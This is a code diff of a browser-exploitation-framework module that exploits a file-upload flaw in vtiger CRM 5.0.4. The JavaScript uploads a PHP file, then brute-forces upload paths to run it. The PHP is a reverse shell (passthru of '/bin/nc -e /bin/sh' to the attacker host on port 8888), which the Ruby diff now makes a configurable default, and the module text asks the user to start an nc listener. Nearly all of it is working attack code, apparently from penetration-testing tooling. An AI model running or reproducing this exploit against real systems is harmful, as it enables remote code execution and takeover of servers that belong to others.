diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js index 8b607769f..9a1c62f3b 100644 --- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js +++ b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js @@ -11,6 +11,8 @@ beef.execute(function() { // xntrik if (document.getElementById('vtigerimg')) { + //document.body.removeChild(document.getElementById('vtigerimg')); + //beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!'); return "Exploit running already"; } @@ -19,16 +21,13 @@ beef.execute(function() { img.setAttribute("width","0"); img.setAttribute("height","0"); img.id = 'vtigerimg'; - + document.body.appendChild(img); baseurl = "<%= @vtiger_url %>"; function do_upload(){ - // start AJAX file upload in 1 second - //window.setTimeout("ajax_upload()", <%= @timeout %>); - //alert("one"); - setTimeout(function() {ajax_upload()}, <%= @timeout %>); + setTimeout(function() {ajax_upload()}, 1000); } // In a nutshell: @@ -39,15 +38,9 @@ beef.execute(function() { // 4) once requestdone, call do_callfile() function ajax_upload(){ - //alert("two"); - // Setup the AJAX POST var targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index'; - //var binary; - //var filename; - //var mytext; http_request = false; - //http_request = new XMLHttpRequest(); http_request = beef.net.get_ajax(); if (!http_request) { // fail silently! @@ -88,7 +81,7 @@ beef.execute(function() { + 'Content-Type: application/x-httpd-php' + '\r\n' + '\r\n' + '<\?php' + '\r\n' - + 'passthru("/bin/nc -e /bin/sh <%= @vtiger_host %> <%= @vtiger_port %>");' + '\r\n' + + '<%= @vtiger_php %>' + '\r\n' + '\?>' + '\r\n' + '\r\n' + boundary @@ -109,48 +102,56 @@ beef.execute(function() { + 'Attach' + '\r\n' + boundary; + var uploadstate = 0; + http_request.onreadystatechange = function() { if (http_request.readyState == 4) { - //window.console.log("ready state go for upload: "+http_request.status); if (http_request.status == 200) { - //window.console.log("Upload worked"); - result = http_request.responseText; - do_callfile(); + uploadstate = 3; } else { - //fail silently + uploadstate = 2; } + } else { + uploadstate = 1; } return; - } + }; http_request.open("POST", targeturl, true); http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=---------------------------PWNED"); http_request.setRequestHeader("Content-length", requestbody.length); http_request.send(requestbody); - //beef.net.raw_request(targeturl,'POST',requestdonenew(),requestbody); + setTimeout(function() { + if (uploadstate == 0) { + //something went way wrong + document.body.removeChild(document.getElementById('vtigerimg')); + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload'); + } else if (uploadstate == 1) { + //we never got a response from the server + document.body.removeChild(document.getElementById('vtigerimg')); + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file'); + } else if (uploadstate == 2) { + //we got a response that was NOT a 200 + document.body.removeChild(document.getElementById('vtigerimg')); + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file'); + } else if (uploadstate == 3) { + //We got a 200, so hopefully the file was uploaded + //be_graceful(); + do_callfile(0,1000); + } + },<%= @upload_timeout %>); + return; } - function requestfile() { - if (http_request.readyState == 4) { - if (http_request.status == 200) { - result = http_request.responseText; - alert(result); - } else { - // fail silently - - } + function do_callfile(start,count){ + if (document.getElementById('vtigerimg') == null) { + return false; } - return; - } - // find our file :) - // - // Dirty brute force - function do_callfile(){ - var i=0; - for (i=0;i<=1000;i++) + + for (i=start;i<=start+count;i++) { - http_request = false; + var http_request = false; http_request = beef.net.get_ajax(); if (!http_request) { // fail silently! @@ -160,20 +161,16 @@ beef.execute(function() { var findurl = baseurl + "<%= @vtiger_filepath %>" + i + "_vtiger-fun.PHP"; var requestbody = "birds of a feather flock together"; - http_request.onreadystatechange = requestfile; - http_request.open('POST', findurl, true); + http_request.open('POST', findurl, false); http_request.setRequestHeader("Content-length", requestbody.length); http_request.send(requestbody); + if (http_request.status == 200) { + document.body.removeChild(document.getElementById('vtigerimg')); + beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')'); + return; + } } - //At this point we can remove the img tag, in the command is going anywhere else now - xntrik - document.body.removeChild(vtigerimg); - return; - } - - // Add your clean up routine here. - function do_cleanup() { - //document.write("Maybe your security team should check out owasp.org? ;)"); return; } @@ -186,10 +183,4 @@ beef.execute(function() { // Run the sploit do_main(); - //do_cleanup(); - - //The JS is loaded, send the sendback to the framework so it shouldn't run any anymore - // The img id "vtigerimg" is used to also ensure that framework isn't executed multiple times - // xntrik - beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result=Payload Delivered'); }); diff --git a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb index 165554454..2304ffc66 100644 --- a/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb +++ b/modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb @@ -5,18 +5,29 @@ module Commands class Vtiger_crm_upload_exploit < BeEF::Command def initialize + time = Time.new + weekno = case time.day + when 1..7 then 1 + when 8..14 then 2 + when 15..21 then 3 + when 22..28 then 4 + else 5 + end + + @configuration = BeEF::Configuration.instance + beef_host = @configuration.get("http_public") || @configuration.get("http_host") + super({ 'Name' => 'VTiger CRM Upload Exploit', - 'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM vtiger 5.0.4
Don\'t forget to start a listener on your PC, for example: nc -l 8888', + 'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM vtiger 5.0.4
The default PHP requires a listener, so don\'t forget to start one, for example: nc -l 8888', 'Category' => 'Network', 'Author' => ['wade', 'bm', 'pipes', 'xntrik'], 'Data' => [ - ['name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'1000'], - ['name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://192.168.1.105:81'], - ['name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/2010/11/week3/'], - ['name'=>'vtiger_host','ui_label'=>'Reverse Bindshell Host','value'=>'localhost'], - ['name'=>'vtiger_port','ui_label'=>'Reverse Bindshell Port','value'=>'8888'] + ['name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'], + ['name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'], + ['name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'], + ['name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'] ], 'File' => __FILE__, 'Target' => {